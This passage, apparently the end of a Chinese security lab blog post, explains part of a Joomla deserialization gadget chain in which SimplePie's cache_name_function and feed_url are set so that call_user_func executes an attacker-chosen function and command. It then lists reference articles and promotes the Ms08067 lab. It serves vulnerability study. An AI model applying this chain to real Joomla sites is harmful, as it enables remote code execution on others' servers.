这里simplepie是没有定义的,所以需要`new JSimplepieFactory()`,并且在SimplePie类中,需要满足`if ($this->cache && $parsed_feed_url[‘scheme’] !== ”)`才能调用下面的`call_user_func`,并且为了满足能够实现函数使用,需要$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');中的cache_name_function和feed_url为我们的函数和命令

在这个序列化的过程中,我没有理解为什么要新new出来一个JDatabaseDriverMysql对象,这个对象`extends`JDatabaseDriverMysqli,难道是为了再调用JDatabaseDriverMysqli中的方法么,如果有大佬知道的话,欢迎留言评论

参考文章

https://xz.aliyun.com/t/6522

https://www.freebuf.com/vuls/216130.html

https://blog.csdn.net/qq_43645782/article/details/105801796

MS08067实验室官网:www.ms08067.com

公众号:” Ms08067安全实验室”

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

最后期待各位小伙伴的加入!

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论